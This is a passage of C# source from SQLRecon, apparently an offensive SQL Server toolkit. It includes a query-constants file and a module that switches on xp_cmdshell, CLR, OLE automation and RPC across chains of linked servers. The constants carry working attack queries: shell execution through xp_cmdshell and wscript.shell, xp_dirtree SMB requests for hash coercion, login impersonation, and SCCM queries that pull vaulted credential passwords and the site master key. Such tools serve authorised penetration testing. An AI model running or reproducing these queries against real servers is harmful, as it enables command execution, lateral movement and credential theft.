modify_date DESC;"; 88 | 89 | internal static readonly string GetDomainName = "SELECT DEFAULT_DOMAIN();"; 90 | 91 | internal static readonly string GetForcedEncryption = "BEGIN TRY DECLARE @ForcedEncryption INT EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\\MICROSOFT\\Microsoft SQL Server\\MSSQLServer\\SuperSocketNetLib', N'ForceEncryption', @ForcedEncryption OUTPUT END TRY BEGIN CATCH END CATCH SELECT @ForcedEncryption;"; 92 | 93 | internal static readonly string GetLinkedChainColumns = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '{0}' ORDER BY ORDINAL_POSITION;"; 94 | 95 | internal static readonly string GetLinkedChainRowCount = "SELECT COUNT(*) as row_count FROM {0};"; 96 | 97 | internal static readonly string GetLinkedSqlServers = "SELECT name FROM sys.servers WHERE is_linked = 1;"; 98 | 99 | internal static readonly string GetLinkedSqlServersVerbose = "SELECT srv.name AS [Linked Server], srv.product, srv.provider, srv.data_source, COALESCE(prin.name, 'N/A') AS [Local Login], ll.uses_self_credential AS [Is Self Mapping], ll.remote_name AS [Remote Login] FROM sys.servers srv LEFT JOIN sys.linked_logins ll ON srv.server_id = ll.server_id LEFT JOIN sys.server_principals prin ON ll.local_principal_id = prin.principal_id WHERE srv.is_linked = 1;"; 100 | 101 | internal static readonly string GetModuleStatueVerbose = "SELECT configuration_id, name, value, value_in_use, description FROM sys.configurations WHERE name = '{0}';"; 102 | 103 | internal static readonly string GetModuleStatus = "SELECT value FROM sys.configurations WHERE name = '{0}';"; 104 | 105 | internal static readonly string GetOsArchitecture = "SELECT SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3);"; 106 | 107 | internal static readonly string GetOsMachineType = "DECLARE @MachineType SYSNAME EXECUTE master.dbo.xp_regread @rootkey= N'HKEY_LOCAL_MACHINE', @key= N'SYSTEM\\CurrentControlSet\\Control\\ProductOptions', @value_name= N'ProductType', @value= @MachineType output SELECT @MachineType;"; 108 | 109 | internal static readonly string GetOsVersion = "DECLARE @ProductName SYSNAME EXECUTE master.dbo.xp_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', @value_name = N'ProductName', @value = @ProductName output SELECT @ProductName;"; 110 | 111 | internal static readonly string GetOsVersionNumber = "SELECT RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows Server', @@VERSION), 19), 4);"; 112 | 113 | internal static readonly string GetPermissions = "SELECT permission_name FROM fn_my_permissions(NULL, '{0}');"; 114 | 115 | internal static readonly string GetPrincipals = "SELECT name, type_desc, is_disabled, create_date, modify_date FROM sys.server_principals WHERE name NOT LIKE '##%' ORDER BY modify_date DESC;"; 116 | 117 | internal static readonly string GetRowCount = "use {0}; SELECT COUNT(*) as row_count FROM {1};"; 118 | 119 | internal static readonly string GetRpcStatus = "SELECT is_rpc_out_enabled FROM sys.servers WHERE lower(name) like '%{0}%';"; 120 | 121 | internal static readonly string GetSccmAdminPrivileges = "select ScopeID,RoleID from [dbo].[RBAC_ExtendedPermissions] where AdminID = {0}"; 122 | 123 | internal static readonly string GetSccmLogonUsers = "select Name00, Username00 from [dbo].[Computer_System_DATA]"; 124 | 125 | internal static readonly string GetSccmPrivileges = "select LogonName, RoleName from [dbo].[v_SecuredScopePermissions]"; 126 | 127 | internal static readonly string GetSccmSites = "select * from [dbo].[DPInfo]"; 128 | 129 | internal static readonly string GetSccmCIData = "select SDMPackageDigest, DateCreated from [dbo].[vSMS_ConfigurationItems] where CIType_ID = 3"; 130 | 131 | internal static readonly string GetSccmScriptData = "select ScriptName, ScriptDescription, Script, ParamsDefinition, LastUpdateTime from [dbo].[Scripts]"; 132 | 133 | internal static readonly string GetSccmTaskData = "select PkgID, Name, Sequence from [dbo].[vSMS_TaskSequencePackage]"; 134 | 135 | internal static readonly string GetSccmTaskList = "select PkgID, Name from [dbo].[vSMS_TaskSequencePackage]"; 136 | 137 | internal static readonly string GetSccmUsers = "select LogonName, AdminID, SourceSite, DistinguishedName from [dbo].[RBAC_Admins]"; 138 | 139 | internal static readonly string GetSccmVaultedCredentialPasswords = "select UserName, Usage, Password from [dbo].[vSMS_SC_UserAccount]"; 140 | 141 | internal static readonly string GetSiteMasterKey = "Select Top 1 Props from [dbo].[vSMS_SC_SysResUse_SDK] where RoleName = 'SMS Site Server' and ServerName like '%{0}%'"; 142 | 143 | internal static readonly string GetSccmVaultedCredentials = "select UserName, Usage from [dbo].[vSMS_SC_UserAccount]"; 144 | 145 | internal static readonly string GetServicePid = "SELECT SERVERPROPERTY('processid');"; 146 | 147 | internal static readonly string GetSqlMajorVersionNumber = "SELECT SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4);"; 148 | 149 | internal static readonly string GetSqlServerEdition = "SELECT SERVERPROPERTY('Edition');"; 150 | 151 | internal static readonly string GetSqlServerServiceName = "DECLARE @SQLServerServiceName varchar(250) DECLARE @SQLServerInstance varchar(250) if @@SERVICENAME = 'MSSQLSERVER' BEGIN set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER' set @SQLServerServiceName = 'MSSQLSERVER' END ELSE BEGIN set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQL$'+cast(@@SERVICENAME as varchar(250)) set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) END SELECT @SQLServerServiceName;"; 152 | 153 | internal static readonly string GetSqlServerServicePack = "SELECT SERVERPROPERTY('ProductLevel');"; 154 | 155 | internal static readonly string GetSqlServiceAccountName = "DECLARE @SQLServerInstance varchar(250) if @@SERVICENAME = 'MSSQLSERVER' BEGIN set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER' END ELSE BEGIN set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQL$'+cast(@@SERVICENAME as varchar(250)) END DECLARE @ServiceAccountName varchar(250) EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @SQLServerInstance, N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' SELECT @ServiceAccountName;"; 156 | 157 | internal static readonly string GetSqlUsersAndWindowsPrincipals = "SELECT name FROM sys.server_principals WHERE type_desc IN ('SQL_LOGIN', 'WINDOWS_LOGIN') AND name NOT LIKE '##%';"; 158 | 159 | internal static readonly string GetSqlVersionNumber = "SELECT SERVERPROPERTY('productversion');"; 160 | 161 | internal static readonly string GetStoredProcedures = "SELECT SCHEMA_NAME(schema_id), name FROM sys.procedures WHERE type = 'PC';"; 162 | 163 | internal static readonly string GetTables = "SELECT * FROM {0}.INFORMATION_SCHEMA.TABLES;"; 164 | 165 | internal static readonly string GetTrustedAssemblies = "SELECT * FROM sys.trusted_assemblies;"; 166 | 167 | internal static readonly string ImpersonationLogin = "EXECUTE AS LOGIN = '{0}'; "; 168 | 169 | internal static readonly string IsRpcEnabled = "SELECT name, is_rpc_out_enabled FROM sys.servers"; 170 | 171 | internal static readonly string LinkedChainSearchColumns = "SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE column_name LIKE '%{0}%';"; 172 | 173 | internal static readonly string LinkedChainToggleModule = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure '{0}', {1}; RECONFIGURE;"; 174 | 175 | internal static readonly string LinkedEnableAdvancedOptions = "sp_configure 'show advanced options', 1; RECONFIGURE;"; 176 | 177 | internal static readonly string LinkedSmbRequest = "SELECT 1; EXEC master..xp_dirtree \"{0}\";"; 178 | 179 | internal static readonly string LinkedToggleModule = "sp_configure '{0}', {1}; RECONFIGURE;"; 180 | 181 | internal static readonly string LinkedXpCmd = "SELECT 1; exec master..xp_cmdshell '{0}'"; 182 | 183 | internal static readonly string LoadDllIntoStoredProcedure = "CREATE PROCEDURE [dbo].[{0}] AS EXTERNAL NAME [{1}].[StoredProcedures].[{0}];"; 184 | 185 | internal static readonly string LoadLdapServer = "CREATE FUNCTION [dbo].{0}(@port int) RETURNS NVARCHAR(MAX) AS EXTERNAL NAME {1}.[ldapAssembly.LdapSrv].listen;"; 186 | 187 | internal static readonly string OleExecution = "DECLARE @{0} INT; DECLARE @{1} VARCHAR(255);SET @{1} = 'Run(\"{2}\")';EXEC sp_oacreate 'wscript.shell', @{0} out;EXEC sp_oamethod @{0}, @{1};EXEC sp_oadestroy @{0};"; 188 | 189 | internal static readonly string OleLinkedExecution = "SELECT 1; DECLARE @{0} INT; DECLARE @{1} VARCHAR(255);SET @{1} = 'Run(\"{2}\")';EXEC sp_oacreate 'wscript.shell', @{0} out;EXEC sp_oamethod @{0}, @{1};EXEC sp_oadestroy @{0};"; 190 | 191 | internal static readonly string Roles = "SELECT [name] FROM sysusers WHERE issqlrole = 1"; 192 | 193 | internal static readonly string RunLdapServer = "SELECT * FROM 'LDAP://localhost:{0}'"; 194 | 195 | internal static readonly string SccmFilterLogonUsers = "select [dbo].[System_IP_Address_ARR].IP_Addresses0 as 'IP_Addr', [dbo].[Computer_System_Data].Name00 as 'Host', [dbo].[Computer_System_Data].UserName00 as 'User' from [dbo].[System_IP_Address_ARR],[dbo].[Computer_System_Data] where System_IP_Address_ARR.ItemKey = Computer_System_DATA.MachineID and System_IP_Address_ARR.NumericIPAddressValue > 0 and ("; 196 | 197 | internal static readonly string SccmSiteCode = "select ThisSiteCode from [dbo].[v_Identification]"; 198 | 199 | internal static readonly string SearchColumns = "use {0}; SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE column_name LIKE '%{1}%';"; 200 | 201 | internal static readonly string SmbRequest = "EXEC master..xp_dirtree \"{0}\";"; 202 | 203 | internal static readonly string StartLdapServer = "SELECT dbo.{0}({1});"; 204 | 205 | internal static readonly string SystemUser = "SELECT SYSTEM_USER;"; 206 | 207 | internal static readonly string ToggleModule = "RECONFIGURE; EXEC sp_configure '{0}', {1}; RECONFIGURE;"; 208 | 209 | internal static readonly string ToggleRpc = "EXEC sp_serveroption '{0}', 'rpc out', '{1}';"; 210 | 211 | internal static readonly string UserName = "SELECT USER_NAME();"; 212 | 213 | internal static readonly string XpCmd = "EXEC xp_cmdshell '{0}';"; 214 | } 215 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/modules/ConfigureOptions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SqlClient; 4 | using System.Linq; 5 | using SQLRecon.Commands; 6 | using SQLRecon.Utilities; 7 | 8 | namespace SQLRecon.Modules 9 | { 10 | internal abstract class Config 11 | { 12 | /// 13 | /// The ModuleStatus method checks if advanced options are enabled 14 | /// for the clr, ole or xp_cmdshell modules via sp_configure. Logic 15 | /// also exists to check if rpc has been enabled, cross-checking the SQL server name. 16 | /// 17 | /// 18 | /// 19 | /// This is an optional parameter that is activated when impersonation is selected. 20 | /// optional 21 | /// 22 | internal static bool ModuleStatus(SqlConnection con, string module, string impersonate = null, string sqlServer = "") 23 | { 24 | // The queries dictionary contains all queries used by this module 25 | Dictionary queries = new Dictionary 26 | { 27 | {"get_rpc_status", string.Format(Query.GetRpcStatus, sqlServer.ToLower())}, 28 | {"enable_advanced_options", Query.EnableAdvancedOptions}, 29 | {"get_module_status", string.Format(Query.GetModuleStatus, module)} 30 | }; 31 | 32 | // If impersonation is set, then prepend all queries with the 33 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 34 | if (!string.IsNullOrEmpty(impersonate)) 35 | { 36 | queries = Format.ImpersonationDictionary(impersonate, queries); 37 | } 38 | 39 | if (module.Equals("rpc")) 40 | { 41 | // Obtain all SQL server names where RPC is enabled. 42 | // Returns 1 for enabled if the supplied sqlServer exists. 43 | // Returns 0 for disabled if the supplied sqlServer does not exist. 44 | return Sql.CustomQuery(con, queries["get_rpc_status"]).ToLower().Contains("true"); 45 | } 46 | else 47 | { 48 | // Simple check to see if the supplied module (clr, ole, xp_cmdshell) 49 | // is either a 1 (enabled) or 0 (disabled). Return the value. 50 | Sql.Query(con, queries["enable_advanced_options"]); 51 | 52 | return Sql.Query(con, queries["get_module_status"]).ToLower().Contains("1"); 53 | } 54 | } 55 | 56 | /// 57 | /// The LinkedModuleStatus method checks if advanced options are enabled 58 | /// for modules via sp_configure on a linked SQL server. Logic 59 | /// also exists to check if rpc has been enabled, cross-checking the SQL server name. 60 | /// 61 | /// 62 | /// 63 | /// 64 | /// 65 | /// 66 | internal static bool LinkedModuleStatus(SqlConnection con, string module, string linkedSqlServer, string[] linkedSqlServerChain = null ) 67 | { 68 | // The queries dictionary contains all queries used by this module 69 | Dictionary queries = new Dictionary 70 | { 71 | { "get_module_status", string.Format(Query.GetModuleStatus, module) } 72 | }; 73 | 74 | // Simple check to see if the supplied module (clr, ole, xp_cmdshell) 75 | // is either a 1 (enabled) or 0 (disabled). Return the value. 76 | 77 | queries = linkedSqlServerChain == null 78 | ? Format.LinkedDictionary(linkedSqlServer, queries) 79 | : Format.LinkedChainDictionary(linkedSqlServerChain, queries); 80 | 81 | return Sql.Query(con, queries["get_module_status"]).Contains("1"); 82 | } 83 | 84 | /// 85 | /// The ModuleToggle method will enable advanced options, then 86 | /// enable modules via sp_configure. Logic exists for impersonation. Logic exists for rpc. 87 | /// 88 | /// 89 | /// Common modules include: clr enabled, 90 | /// ole automation procedures, and xp_cmdshell. Special logic has been included for rpc. 91 | /// Enable (1) or disable (0). 92 | /// 93 | /// 94 | /// 95 | internal static void ModuleToggle(SqlConnection con, string module, string value, string sqlServer, string impersonate = null) 96 | { 97 | // The queries dictionary contains all queries used by this module 98 | Dictionary queries = new Dictionary 99 | { 100 | { "toggle_rpc", string.Format(Query.ToggleRpc, sqlServer, value) }, 101 | { "enable_advanced_options", Query.EnableAdvancedOptions }, 102 | { "toggle_module", string.Format(Query.ToggleModule, module, value) } 103 | }; 104 | 105 | // If impersonation is set, then prepend all queries with the 106 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 107 | if (!string.IsNullOrEmpty(impersonate)) 108 | { 109 | queries = Format.ImpersonationDictionary(impersonate, queries); 110 | } 111 | 112 | string sqlOutput; 113 | 114 | if (module.Equals("rpc")) 115 | { 116 | sqlOutput = Sql.CustomQuery(con, queries["toggle_rpc"]); 117 | 118 | if (sqlOutput.ToLower().Contains("does not exist")) 119 | { 120 | Print.Error($"'{sqlServer}' does not exist.", true); 121 | return; 122 | } 123 | 124 | // Convert value from true to 1, and 125 | // from false to 0 for the _moduleStatus method. 126 | value = (value.Equals("true")) 127 | ? "1" 128 | : "0"; 129 | 130 | bool status = ModuleStatus(con, module, impersonate, sqlServer); 131 | 132 | sqlOutput = _printModuleStatus(status, module, value, sqlServer); 133 | 134 | if (!sqlOutput.ToLower().Contains("not have permission")) 135 | { 136 | Console.WriteLine(_moduleStatus(con, module, impersonate, sqlServer)); 137 | } 138 | else 139 | { 140 | Console.WriteLine(sqlOutput); 141 | } 142 | } 143 | else 144 | { 145 | Sql.Query(con, queries["enable_advanced_options"]); 146 | 147 | Sql.Query(con, queries["toggle_module"]); 148 | 149 | bool status = ModuleStatus(con, module, impersonate, sqlServer); 150 | 151 | sqlOutput = _printModuleStatus(status, module, value, sqlServer); 152 | 153 | if (!sqlOutput.ToLower().Contains("not have permission")) 154 | { 155 | Console.WriteLine(_moduleStatus(con, module, impersonate, sqlServer)); 156 | } 157 | else 158 | { 159 | Console.WriteLine(sqlOutput); 160 | } 161 | } 162 | } 163 | 164 | /// 165 | /// The LinkedModuleToggle method will enable advanced options, then 166 | /// enable modules via sp_configure. 167 | /// 168 | /// 169 | /// Common modules include: clr enabled, 170 | /// ole automation procedures, and xp_cmdshell. 171 | /// Enable (1) or disable (0). 172 | /// 173 | /// 174 | internal static void LinkedModuleToggle(SqlConnection con, string module, string value, string linkedSqlServer, string sqlServer) 175 | { 176 | // The queries dictionary contains all queries used by this module 177 | // The dictionary key name for RPC formatted queries must start with RPC 178 | Dictionary queries = new Dictionary 179 | { 180 | { "rpc_enable_advanced_configurations", Query.LinkedEnableAdvancedOptions }, 181 | { "rpc_toggle_module", string.Format(Query.LinkedToggleModule, module, value) }, 182 | }; 183 | 184 | // Format all queries so that they are compatible for execution on a linked SQL server. 185 | queries = Format.LinkedDictionary(linkedSqlServer, queries); 186 | 187 | // These queries do not need to be formatted 188 | queries.Add( "get_links", Query.GetLinkedSqlServers); 189 | 190 | // Get a list of linked SQL servers. 191 | string sqlOutput = Sql.CustomQuery(con, queries["get_links"]); 192 | 193 | // Check to see if the linked SQL server exists. 194 | if (!sqlOutput.ToLower().Contains(linkedSqlServer.ToLower())) 195 | { 196 | Print.Error($"Error {linkedSqlServer} does not exist.", true); 197 | return; 198 | } 199 | 200 | // First check to see if rpc is enabled. 201 | if (ModuleStatus(con, "rpc", null, linkedSqlServer) == false) 202 | { 203 | Print.Error($"You need to enable RPC for {linkedSqlServer} on {sqlServer} (enablerpc /rhost:{linkedSqlServer}", true); 204 | 205 | Console.WriteLine(_moduleStatus(con, "rpc", null, linkedSqlServer)); 206 | // Go no further. 207 | return; 208 | } 209 | 210 | Sql.CustomQuery(con, queries["rpc_enable_advanced_configurations"]); 211 | 212 | Sql.CustomQuery(con, queries["rpc_toggle_module"]); 213 | 214 | bool status = LinkedModuleStatus(con, module, linkedSqlServer); 215 | 216 | sqlOutput = _printModuleStatus(status, module, value, linkedSqlServer); 217 | 218 | if (!sqlOutput.ToLower().Contains("not have permissions")) 219 | { 220 | Console.WriteLine(_linkedModuleStatus(con, module, linkedSqlServer)); 221 | } 222 | else 223 | { 224 | Console.WriteLine(sqlOutput); 225 | } 226 | } 227 | 228 | /// 229 | /// The LinkedChainModuleToggle method will enable advanced options, then 230 | /// enable modules via sp_configure on a chain of linked SQL servers. 231 | /// Credit to Azaël MARTIN (n3rada). 232 | /// 233 | /// 234 | /// Common modules include: clr enabled, ole automation procedures, and xp_cmdshell. 235 | /// Enable (1) or disable (0). 236 | /// An array of server names representing the chain path. 237 | /// 238 | internal static void LinkedChainModuleToggle(SqlConnection con, string module, string value, string[] linkedSqlServerChain, string sqlServer = null) 239 | { 240 | // The queries dictionary contains all queries used by this module 241 | // The dictionary key name for RPC formatted queries must start with RPC 242 | Dictionary queries = new Dictionary 243 | { 244 | { "rpc_toggle_module", string.Format(Query.LinkedChainToggleModule, module, value) } 245 | }; 246 | 247 | // Format all queries so that they are compatible for execution on a linked SQL server. 248 | queries = Format.LinkedChainDictionary(linkedSqlServerChain, queries); 249 | 250 | // These queries do not need to be formatted 251 | queries.Add( "get_link", Query.GetLinkedSqlServers); 252 | 253 | // Get a list of linked SQL servers. 254 | string sqlOutput = Sql.CustomQuery(con, queries["get_link"]); 255 | 256 | // Check to see if the linked SQL server exists. 257 | if (!sqlOutput.ToLower().Contains(linkedSqlServerChain.First().ToLower())) 258 | { 259 | Print.Error($"Error {linkedSqlServerChain.First()} does not exist.", true); 260 | return; 261 | } 262 | 263 | // First check to see if rpc is enabled on the first linked host. 264 | bool status = ModuleStatus(con, "rpc", null, linkedSqlServerChain.First()); 265 | 266 | if (status == false) 267 | { 268 | Print.Error($"You need to enable RPC for {linkedSqlServerChain.First()} on {sqlServer} (enablerpc /rhost:{linkedSqlServerChain.First()})", true); 269 | 270 | Console.WriteLine(_moduleStatus(con, "rpc", null, linkedSqlServerChain.First())); 271 | // Go no further. 272 | return; 273 | } 274 | 275 | // Attempt to toggle the module on the last server in the linked chain 276 | try 277 | { 278 | // Enable advanced options and the specified module on the last server in the chain. 279 | Sql.CustomQuery(con, queries["rpc_toggle_module"]); 280 | 281 | Console.WriteLine(_linkedModuleStatus(con, module, null, linkedSqlServerChain)); 282 | } 283 | catch (Exception ex) 284 | { 285 | Print.Error($"Error enabling module {module} on chain: {ex.Message}", true); 286 | } 287 | } 288 | 289 | /// 290 | /// The _moduleStatus method checks if advanced options are enabled 291 | /// for the clr, ole or xp_cmdshell modules via sp_configure. Logic 292 | /// also exists to check if rpc has been enabled, cross-checking the SQL server name. 293 | /// 294 | /// 295 | /// 296 | /// This is an optional parameter that is activated when impersonation is selected. 297 | /// Optional 298 | /// 299 | private static string _moduleStatus(SqlConnection con, string module, string impersonate = null, string sqlServer = "") 300 | { 301 | // The queries dictionary contains all queries used by this module 302 | Dictionary queries = new Dictionary 303 | { 304 | { "get_rpc_status", string.Format(Query.GetRpcStatus, sqlServer.ToLower())}, 305 | { "enable_advanced_options", Query.EnableAdvancedOptions}, 306 | { "get_module_status", string.Format(Query.GetModuleStatueVerbose, module) } 307 | }; 308 | 309 | // If impersonation is set, then prepend all queries with the 310 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 311 | if (!string.IsNullOrEmpty(impersonate)) 312 | { 313 | queries = Format.ImpersonationDictionary(impersonate, queries); 314 | } 315 | 316 | if (module.Equals("rpc")) 317 | { 318 | // Obtain all SQL server names where RPC is enabled if the name matches supplied SQL server. 319 | return Sql.CustomQuery(con, queries["get_rpc_status"]); 320 | } 321 | else 322 | { 323 | // Simple check to see if the supplied module (clr, ole, xp_cmdshell) 324 | // Return the name and value. 325 | 326 | Sql.CustomQuery(con, queries["enable_advanced_options"]); 327 | 328 | return Sql.CustomQuery(con, queries["get_module_status"]); 329 | } 330 | } 331 | 332 | /// 333 | /// The _linkedModuleStatus method checks if advanced options are enabled 334 | /// for modules via sp_configure on a linked SQL server. Logic 335 | /// also exists to check if rpc has been enabled, cross-checking the SQL server name. 336 | /// 337 | /// 338 | /// 339 | /// 340 | /// 341 | /// 342 | private static string _linkedModuleStatus(SqlConnection con, string module, string linkedSqlServer, string[] linkedSqlServerChain = null) 343 | { 344 | // Simple check to see if the supplied module (clr, ole, xp_cmdshell) 345 | // is either a 1 (enabled) or 2 (disabled). Return the name and value. 346 | 347 | // The queries dictionary contains all queries used by this module 348 | Dictionary queries = new Dictionary 349 | { 350 | { "get_module_status", string.Format(Query.GetModuleStatueVerbose, module) } 351 | }; 352 | 353 | // Simple check to see if the supplied module (clr, ole, xp_cmdshell) 354 | // is either a 1 (enabled) or 0 (disabled). Return the value. 355 | 356 | queries = linkedSqlServerChain == null 357 | ? Format.LinkedDictionary(linkedSqlServer, queries) 358 | : Format.LinkedChainDictionary(linkedSqlServerChain, queries); 359 | 360 | return Sql.CustomQuery(con, queries["get_module_status"]); 361 | } 362 | 363 | /// 364 | /// The _printModuleStatus method validates if a module has been enabled 365 | /// or disabled. 366 | /// 367 | /// 368 | /// Enable (1) or disable (0). 369 | /// Common modules include: clr enabled, 370 | /// ole automation procedures, and xp_cmdshell. 371 | /// 372 | private static string _printModuleStatus(bool status, string module, string value, string sqlServer) 373 | { 374 | // Change the format of the string 375 | if (module.Equals("clr enabled")) 376 | module = "CLR"; 377 | 378 | if (status == false && value.Equals("0")) 379 | { 380 | return Print.Success($"Disabled {module} on {sqlServer}."); 381 | } 382 | else if (status == true && value.Equals("1")) 383 | { 384 | return Print.Success($"Enabled {module} on {sqlServer}."); 385 | } 386 | else if (status == false && value.Equals("1")) 387 | { 388 | return Print.Error($"The current user does not have permissions to enable or disable {module} on {sqlServer}."); 389 | } 390 | else if (status == true && value.Equals("0")) 391 | { 392 | return Print.Error($"The current user does not have permissions to enable or disable {module} on {sqlServer}."); 393 | } 394 | else 395 | { 396 | return Print.Error($"The current user does not have permissions to enable or disable {module} on {sqlServer}."); 397 | } 398 | } 399 | } 400 | } --------------------------------------------------------------------------------